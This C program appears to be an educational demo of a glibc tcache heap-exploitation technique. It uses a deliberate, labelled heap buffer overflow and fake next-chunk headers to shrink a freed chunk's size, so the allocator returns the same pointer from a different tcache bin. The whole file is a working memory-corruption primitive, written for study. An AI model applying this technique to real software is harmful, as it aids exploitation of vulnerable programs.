#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>

int main() {
  fprintf(
    stderr,
    "This demo shows how we can shrink a chunk while it's in the tcache.\n"
    "\n"
    "First, let's allocate 0x400 bytes twice.\n"
    "(0x400 is the largest size that can go in the tcache.)\n"
    "\n"
  );

  char *p = malloc(0x400);
  char *q = malloc(0x400);

  // To make the example more interesting, we make sure that the tcache
  // already contains a chunk. This means that the forward pointer of q
  // will be non-NULL after it is freed, which means that we have to be
  // careful not to accidentally overwrite it.
  free(malloc(0x400));

  assert(q == p + 0x410);
  fprintf(
    stderr,
    "p = %p\n"
    "q = %p\n"
    "\n",
    p, q
  );

  const size_t* pq_metadata = (size_t*)&p[0x400];
  fprintf(
    stderr,
    "Metadata between p and q:\n"
    "%p:  %.16lx %.16lx\n"
    "\n",
    pq_metadata, pq_metadata[0], pq_metadata[1]
  );

  fprintf(
    stderr,
    "Before we free q, we need to prepare it for the size change\n"
    "by creating a fake next chunk. Note that we don't need a\n"
    "vulnerability to do this because this is an in-bounds write\n"
    "and we haven't freed the chunk yet.\n"
    "\n"
  );
  memset(q, 0, 0x400);
  *(size_t*)&q[0x48] = 0x21;  // Fake next chunk
  *(size_t*)&q[0x60] = 0x20;  // Fake next chunk
  *(size_t*)&q[0x68] = 0x21;  // Fake next chunk

  fprintf(stderr, "Let's free q.\n\n");
  free(q);

  fprintf(
    stderr,
    "Now we use a heap buffer overflow on p to modify the\n"
    "metadata between p and q.\n"
    "\n"
  );
  
  // ----- VULNERABILITY ----
  const size_t overflow_len = 0x410;
  // First trash the memory completely, to simulate the effect of
  // a heap buffer overflow.
  memset(p, 0, overflow_len);
  *(size_t*)&p[0x408] = 0x51; // Shrink q
  // ------------------------

  fprintf(
    stderr,
    "The chunk looks like this now:\n"
    "%p:  %.16lx %.16lx\n"
    "%p:  %.16lx %.16lx\n"
    "%p:  %.16lx %.16lx\n"
    "%p:  %.16lx %.16lx\n"
    "%p:  %.16lx %.16lx\n"
    "%p:  %.16lx %.16lx\n"
    "%p:  %.16lx %.16lx\n"
    "%p:  %.16lx %.16lx\n"
    "\n",
    pq_metadata, pq_metadata[0], pq_metadata[1],
    pq_metadata+2, pq_metadata[2], pq_metadata[3],
    pq_metadata+4, pq_metadata[4], pq_metadata[5],
    pq_metadata+6, pq_metadata[6], pq_metadata[7],
    pq_metadata+8, pq_metadata[8], pq_metadata[9],
    pq_metadata+10, pq_metadata[10], pq_metadata[11],
    pq_metadata+12, pq_metadata[12], pq_metadata[13],
    pq_metadata+14, pq_metadata[14], pq_metadata[15]
  );
  

  char* r = malloc(0x400);
  assert(r == q);

  fprintf(
    stderr,
    "Now we can allocate 0x400 bytes and get back the same pointer as q:\n"
    "r = %p\n"
    "\n",
    r
  );

  fprintf(
    stderr,
    "But when we free it, it looks like a 0x40 byte allocation and\n"
    "is returned to a different tcache.\n"
    "\n"
  );

  free(r);

  char* s = malloc(0x40);
  assert(s == q);

  fprintf(
    stderr,
    "Now we can allocate 0x40 bytes and get the same pointer again.\n"
    "s = %p\n",
    s
  );

  return 0;
}
